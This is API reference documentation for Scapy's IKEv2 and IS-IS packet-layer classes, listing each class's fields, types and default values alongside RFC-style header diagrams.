IKEv2_Transform fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	8



	transform_type

	ByteEnumField

	None



	res2

	ByteField

	0



	transform_id

	MultiEnumField (Depends on None)

	None



	key_length

	IKEv2_Key_Length_Attribute (Cond)

	2148401152















	
class scapy.contrib.ikev2.IKEv2_VendorID(_pkt, /, *, next_payload=None, flags=<Flag 0 ()>, length=None, vendorID=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L614-L618]

	Bases: IKEv2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  NEXT PAYLOAD |     FLAGS     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VENDORID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IKEv2_VendorID                        


IKEv2_VendorID fields






	next_payload

	ByteEnumField

	None



	flags

	FlagsField

	<Flag 0 ()>



	length

	ShortField

	None



	vendorID

	XStrLenField

	b''















	
class scapy.contrib.ikev2.IPv4TrafficSelector(_pkt, /, *, TS_type=7, IP_protocol_ID=None, length=16, start_port=0, end_port=65535, starting_address_v4='192.168.0.1', ending_address_v4='192.168.0.255')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L640-L650]

	Bases: TrafficSelector


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TS TYPE    | IP PROTOCOL ID|             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           START PORT          |            END PORT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      STARTING ADDRESS V4                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ENDING ADDRESS V4                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IPv4TrafficSelector                     


IPv4TrafficSelector fields






	TS_type

	ByteEnumField

	7



	IP_protocol_ID

	ByteEnumField

	None



	length

	ShortField

	16



	start_port

	ShortField

	0



	end_port

	ShortField

	65535



	starting_address_v4

	IPField

	'192.168.0.1'



	ending_address_v4

	IPField

	'192.168.0.255'















	
class scapy.contrib.ikev2.IPv6TrafficSelector(_pkt, /, *, TS_type=8, IP_protocol_ID=None, length=20, start_port=0, end_port=65535, starting_address_v6='2001::', ending_address_v6='2001::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L653-L663]

	Bases: TrafficSelector


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TS TYPE    | IP PROTOCOL ID|             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           START PORT          |            END PORT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      STARTING ADDRESS V6                      |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ENDING ADDRESS V6                       |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IPv6TrafficSelector                     


IPv6TrafficSelector fields






	TS_type

	ByteEnumField

	8



	IP_protocol_ID

	ByteEnumField

	None



	length

	ShortField

	20



	start_port

	ShortField

	0



	end_port

	ShortField

	65535



	starting_address_v6

	IP6Field

	'2001::'



	ending_address_v6

	IP6Field

	'2001::'















	
class scapy.contrib.ikev2.RawTrafficSelector(_pkt, /, *, TS_type=None, IP_protocol_ID=None, length=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L683-L690]

	Bases: TrafficSelector


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TS TYPE    | IP PROTOCOL ID|             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. RawTrafficSelector                      


RawTrafficSelector fields






	TS_type

	ByteEnumField

	None



	IP_protocol_ID

	ByteEnumField

	None



	length

	FieldLenField

	None



	load

	PacketField

	b''















	
class scapy.contrib.ikev2.TrafficSelector(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L621-L637]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L622-L634]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L636-L637]

	








	
scapy.contrib.ikev2.ikev2scan(ip, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ikev2.py#L956-L959]

	Send a IKEv2 SA to an IP and wait for answers.








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.isis


IS-IS Scapy Extension


	authors:

	Marcel Patzlaff, mpatzlaff@benocs.com
Michal Kaliszan, mkaliszan@benocs.com
Tom Zhu, tom.zhu@metaswitch.com



	description:

	This module provides Scapy layers for the Intermediate System
to Intermediate System routing protocol as defined in RFC 1195.

Currently it (partially) supports the packaging/encoding
requirements of the following RFCs:
* RFC 1195 (only the TCP/IP related part)
* RFC 3358 (optional checksums)
* RFC 5301 (dynamic hostname extension)
* RFC 5302 (domain-wide prefix distribution)
* RFC 5303 (three-way handshake)
* RFC 5304 (cryptographic authentication)
* RFC 5308 (routing IPv6 with IS-IS)
* RFC 8667 (IS-IS extensions for segment routing)



	TODO:

	
	packet relations (requests, responses)


	support for recent RFCs:
* RFC 5305 (traffic engineering)
* RFC 5307 (support for G-MPLS)
* RFC 5310 (generic cryptographic authentication)
* RFC 5316 (inter-AS MPLS and G-MPLS TE)










	
class scapy.contrib.isis.ISIS_32bitAdministrativeTagSubTlv(_pkt, /, *, type=1, len=None, tags=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L377-L381]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              TAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ISIS_32bitAdministrativeTagSubTlv              


ISIS_32bitAdministrativeTagSubTlv fields






	type

	ByteEnumField

	1



	len

	FieldLenField

	None



	tags

	FieldListField

	[]















	
class scapy.contrib.isis.ISIS_64bitAdministrativeTagSubTlv(_pkt, /, *, type=2, len=None, tags=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L384-L388]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              TAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ISIS_64bitAdministrativeTagSubTlv              


ISIS_64bitAdministrativeTagSubTlv fields






	type

	ByteEnumField

	2



	len

	FieldLenField

	None



	tags

	FieldListField

	[]















	
class scapy.contrib.isis.ISIS_AdministrativeGroupSubTlv(_pkt, /, *, code=3, len=None, admingroup='0.0.0.1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L322-L326]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |      LEN      |           ADMINGROUP          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_AdministrativeGroupSubTlv                


ISIS_AdministrativeGroupSubTlv fields






	code

	ByteEnumField

	3



	len

	FieldLenField

	None



	admingroup

	IPField

	'0.0.0.1'















	
class scapy.contrib.isis.ISIS_AreaEntry(_pkt, /, *, arealen=None, areaid='49')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L574-L580]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L579-L580]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AREALEN    |             AREAID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ISIS_AreaEntry                        


ISIS_AreaEntry fields






	arealen

	FieldLenField

	None



	areaid

	ISIS_AreaIdField

	'49'















	
class scapy.contrib.isis.ISIS_AreaIdField(name, default, length_from)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L161-L190]

	Bases: Field


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L181-L183]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L185-L187]

	




	
i2len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L174-L179]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L168-L169]

	




	
length_from

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L171-L172]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L189-L190]

	








	
class scapy.contrib.isis.ISIS_AreaTlv(_pkt, /, *, type=1, len=None, areas=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L583-L587]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             AREAS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ISIS_AreaTlv                         


ISIS_AreaTlv fields






	type

	ByteEnumField

	1



	len

	FieldLenField

	None



	areas

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_AuthenticationTlv(_pkt, /, *, type=10, len=None, authtype=1, password=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L590-L595]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |    AUTHTYPE   |    PASSWORD   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. ISIS_AuthenticationTlv                    


ISIS_AuthenticationTlv fields






	type

	ByteEnumField

	10



	len

	FieldLenField

	None



	authtype

	ByteEnumField

	1



	password

	BoundStrLenField

	b''















	
class scapy.contrib.isis.ISIS_BufferSizeTlv(_pkt, /, *, type=14, len=2, lspbuffersize=1497)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L598-L602]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |         LSPBUFFERSIZE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ISIS_BufferSizeTlv                      


ISIS_BufferSizeTlv fields






	type

	ByteEnumField

	14



	len

	ByteField

	2



	lspbuffersize

	ShortField

	1497















	
class scapy.contrib.isis.ISIS_ChecksumTlv(_pkt, /, *, type=12, len=2, checksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L605-L609]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            CHECKSUM           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ISIS_ChecksumTlv                       


ISIS_ChecksumTlv fields






	type

	ByteEnumField

	12



	len

	ByteField

	2



	checksum

	XShortField

	None















	
class scapy.contrib.isis.ISIS_CircuitTypeField(name='circuittype', default=2, size=8, names=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L217-L222]

	Bases: FlagsField






	
class scapy.contrib.isis.ISIS_CommonHdr(_pkt, /, *, nlpid=131, hdrlen=None, version=1, idlen=0, pdutype=None, pduversion=1, hdrreserved=0, maxareaaddr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L875-L898]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NLPID     |     HDRLEN    |    VERSION    |     IDLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    PDUTYPE    |   PDUVERSION  |  HDRRESERVED  |  MAXAREAADDR  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ISIS_CommonHdr                        


ISIS_CommonHdr fields






	nlpid

	ByteEnumField

	131



	hdrlen

	ByteField

	None



	version

	ByteField

	1



	idlen

	ByteField

	0



	pdutype

	ByteEnumField

	None



	pduversion

	ByteField

	1



	hdrreserved

	ByteField

	0



	maxareaaddr

	ByteField

	0











	
payload_guess

	Possible sublayers:
ISIS_L1_CSNP, ISIS_L1_LAN_Hello, ISIS_L1_LSP, ISIS_L1_PSNP, ISIS_L2_CSNP, ISIS_L2_LAN_Hello, ISIS_L2_LSP, ISIS_L2_PSNP, ISIS_P2P_Hello






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L888-L898]

	








	
class scapy.contrib.isis.ISIS_DynamicHostnameTlv(_pkt, /, *, type=137, len=None, hostname=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L612-L616]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            HOSTNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ISIS_DynamicHostnameTlv                   


ISIS_DynamicHostnameTlv fields






	type

	ByteEnumField

	137



	len

	FieldLenField

	None



	hostname

	BoundStrLenField

	b''















	
class scapy.contrib.isis.ISIS_ExtendedIpPrefix(_pkt, /, *, metric=1, updown=0, subtlvindicator=0, pfxlen=None, pfx=('0.0.0.0', 1), subtlvslen=None, subtlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L619-L632]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L631-L632]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             METRIC                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|S|   PFXLEN  |                      PFX                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   SUBTLVSLEN  |            SUBTLVS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ISIS_ExtendedIpPrefix                    


ISIS_ExtendedIpPrefix fields






	metric

	IntField

	1



	updown

	BitField  (1 bit)

	0



	subtlvindicator

	BitField  (1 bit)

	0



	pfxlen

	BitFieldLenField  (6 bits)

	None



	pfx

	IPPrefixField

	('0.0.0.0', 1)



	subtlvslen

	FieldLenField (Cond)

	None



	subtlvs

	PacketListField (Cond)

	[]















	
class scapy.contrib.isis.ISIS_ExtendedIpReachabilityTlv(_pkt, /, *, type=135, len=None, pfxs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L642-L646]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              PFXS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_ExtendedIpReachabilityTlv                


ISIS_ExtendedIpReachabilityTlv fields






	type

	ByteEnumField

	135



	len

	FieldLenField

	None



	pfxs

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_ExtendedIsNeighbourEntry(_pkt, /, *, neighbourid='0102.0304.0506.07', metric=1, subtlvslen=None, subtlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L649-L659]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L658-L659]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NEIGHBOURID                          |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     METRIC    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |   SUBTLVSLEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SUBTLVS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ISIS_ExtendedIsNeighbourEntry                


ISIS_ExtendedIsNeighbourEntry fields






	neighbourid

	ISIS_NodeIdField

	'0102.0304.0506.07'



	metric

	ThreeBytesField

	1



	subtlvslen

	FieldLenField

	None



	subtlvs

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_ExtendedIsReachabilityTlv(_pkt, /, *, type=22, len=None, neighbours=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L662-L666]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |           NEIGHBOURS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_ExtendedIsReachabilityTlv                


ISIS_ExtendedIsReachabilityTlv fields






	type

	ByteEnumField

	22



	len

	FieldLenField

	None



	neighbours

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_ExternalIpReachabilityTlv(_pkt, /, *, type=130, len=None, entries=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L828-L834]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            ENTRIES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_ExternalIpReachabilityTlv                


ISIS_ExternalIpReachabilityTlv fields






	type

	ByteEnumField

	130



	len

	FieldLenField

	None



	entries

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_GenericSubTlv(_pkt, /, *, type=0, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L248-L249]

	Bases: _ISIS_GenericTlv_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ISIS_GenericSubTlv                      


ISIS_GenericSubTlv fields






	type

	ByteField

	0



	len

	FieldLenField

	None



	val

	BoundStrLenField

	b''















	
class scapy.contrib.isis.ISIS_GenericTlv(_pkt, /, *, type=0, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L244-L245]

	Bases: _ISIS_GenericTlv_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ISIS_GenericTlv                       


ISIS_GenericTlv fields






	type

	ByteField

	0



	len

	FieldLenField

	None



	val

	BoundStrLenField

	b''















	
class scapy.contrib.isis.ISIS_IPv4InterfaceAddressSubTlv(_pkt, /, *, type=6, len=None, address='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L286-L290]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_IPv4InterfaceAddressSubTlv               


ISIS_IPv4InterfaceAddressSubTlv fields






	type

	ByteEnumField

	6



	len

	FieldLenField

	None



	address

	IPField

	'0.0.0.0'















	
class scapy.contrib.isis.ISIS_IPv4NeighborAddressSubTlv(_pkt, /, *, type=8, len=None, address='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L293-L297]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_IPv4NeighborAddressSubTlv                


ISIS_IPv4NeighborAddressSubTlv fields






	type

	ByteEnumField

	8



	len

	FieldLenField

	None



	address

	IPField

	'0.0.0.0'















	
class scapy.contrib.isis.ISIS_IPv6InterfaceAddressSubTlv(_pkt, /, *, type=12, len=None, address='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L308-L312]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_IPv6InterfaceAddressSubTlv               


